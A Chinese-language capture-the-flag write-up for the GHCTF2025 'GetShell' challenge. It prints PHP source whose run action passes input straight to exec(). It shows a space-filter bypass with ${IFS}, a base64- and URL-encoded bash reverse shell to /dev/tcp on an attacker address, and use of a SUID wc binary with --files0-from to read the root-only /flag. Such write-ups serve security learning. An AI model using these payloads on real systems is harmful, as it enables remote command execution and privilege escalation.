GHCTF2025 GetShell 题解

2,873次阅读
没有评论

共计4310个字符,预计需要花费11分钟才能阅读完成。

提醒:本文最后更新于 2026-05-13 23:20,文中所关联的信息可能已发生改变,请知悉!

题目

打开网页给了源码:

<?php
highlight_file(__FILE__);

class ConfigLoader {
    private $config;

    public function __construct() {
        $this->config = [
            'debug' => true,
            'mode' => 'production',
            'log_level' => 'info',
            'max_input_length' => 100,
            'min_password_length' => 8,
            'allowed_actions' => ['run', 'debug', 'generate']
        ];
    }

    public function get($key) {
        return $this->config[$key] ?? null;
    }
}

class Logger {
    private $logLevel;

    public function __construct($logLevel) {
        $this->logLevel = $logLevel;
    }

    public function log($message, $level = 'info') {
        if ($level === $this->logLevel) {
            echo "[LOG] $message\n";
        }
    }
}

class UserManager {
    private $users = [];
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function addUser($username, $password) {
        if (strlen($username) < 5) {
            return "Username must be at least 5 characters";
        }

        if (strlen($password) < 8) {
            return "Password must be at least 8 characters";
        }

        $this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
        $this->logger->log("User $username added");
        return "User $username added";
    }

    public function authenticate($username, $password) {
        if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
            $this->logger->log("User $username authenticated");
            return "User $username authenticated";
        }
        return "Authentication failed";
    }
}

class StringUtils {
    public static function sanitize($input) {
        return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    }

    public static function generateRandomString($length = 10) {
        return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
    }
}

class InputValidator {
    private $maxLength;

    public function __construct($maxLength) {
        $this->maxLength = $maxLength;
    }

    public function validate($input) {
        if (strlen($input) > $this->maxLength) {
            return "Input exceeds maximum length of {$this->maxLength} characters";
        }
        return true;
    }
}

class CommandExecutor {
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function execute($input) {
        if (strpos($input, ' ') !== false) {
            $this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("\n", $output);
    }
}

class ActionHandler {
    private $config;
    private $logger;
    private $executor;

    public function __construct($config, $logger) {
        $this->config = $config;
        $this->logger = $logger;
        $this->executor = new CommandExecutor($logger);
    }

    public function handle($action, $input) {
        if (!in_array($action, $this->config->get('allowed_actions'))) {
            return "Invalid action";
        }

        if ($action === 'run') {
            $validator = new InputValidator($this->config->get('max_input_length'));
            $validationResult = $validator->validate($input);
            if ($validationResult !== true) {
                return $validationResult;
            }

            return $this->executor->execute($input);
        } elseif ($action === 'debug') {
            return "Debug mode enabled";
        } elseif ($action === 'generate') {
            return "Random string: " . StringUtils::generateRandomString(15);
        }

        return "Unknown action";
    }
}

if (isset($_REQUEST['action'])) {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));

    $actionHandler = new ActionHandler($config, $logger);
    $input = $_REQUEST['input'] ?? '';
    echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));
    $userManager = new UserManager($logger);

    if (isset($_POST['register'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->addUser($username, $password);
    }

    if (isset($_POST['login'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->authenticate($username, $password);
    }

    $logger->log("No action provided, running default logic");
}

思路

翻到代码最下面,网页获取了 actioninput 两个参数,并且执行了 actionHandle

GHCTF2025 GetShell 题解

转到 actionHandle,注意到 action=run 的时候可以执行任意命令,但有过滤:

GHCTF2025 GetShell 题解

这里限制了最多字符为 100 个字符(见配置):

GHCTF2025 GetShell 题解

并且执行的命令中不能含有空格,这里很容易想到可以用 ${IFS} 来绕过,比如说 cat flag 可以用 cat${IFS}flag 来绕过。

GHCTF2025 GetShell 题解

我们先执行 ls -al 看看当前目录下有什么,通过 GET 传入 action=run&input=ls${IFS}-al

GHCTF2025 GetShell 题解

GHCTF2025 GetShell 题解

注意到当前文件夹有个 wc 的文件,并且可以执行。我们再看看主目录下有什么,传入 action=run&input=ls${IFS}-al${IFS}/

GHCTF2025 GetShell 题解

可以发现 flag/flag。难道就直接 cat /flag

GHCTF2025 GetShell 题解

然而并不行,看了一下只有 root 用户才有权限。突然又想到了 wc 文件,这个文件属性里有个 s,意味着 SUID 文件。该文件允许在执行程序时,进程暂时获得程序文件所有者的权限,那我们不就能获得 flag 了。让我们来看看有什么用法:

GHCTF2025 GetShell 题解

参数 --files0-from=xxx 的意思是读取 xxx 文件的内容,并且计算文件内容里每个文件的单词数目。我们随便读取一个文件:

GHCTF2025 GetShell 题解

可以发现 wc 读取了文件内容,而且因为内容里的文件不存在,竟然把文件内容给打印出来了,这下就好办了!

还是直接反弹 shell 更方便,直接输入 bash -i >& /dev/tcp/你的IP/端口 0>&1,绕过空格变成 echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveHggMD4mMSA=|base64${IFS}-d${IFS}|bash,再 URL 编码变成 action=run&input=echo$%7BIFS%7DYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveHggMD4mMSA=%7Cbase64$%7BIFS%7D-d$%7BIFS%7D%7Cbash。获得了 shell

GHCTF2025 GetShell 题解

输入 ./wc --files0-from=/flag 就可以获得 flag 啦!

正文完
 2
评论(没有评论)
验证码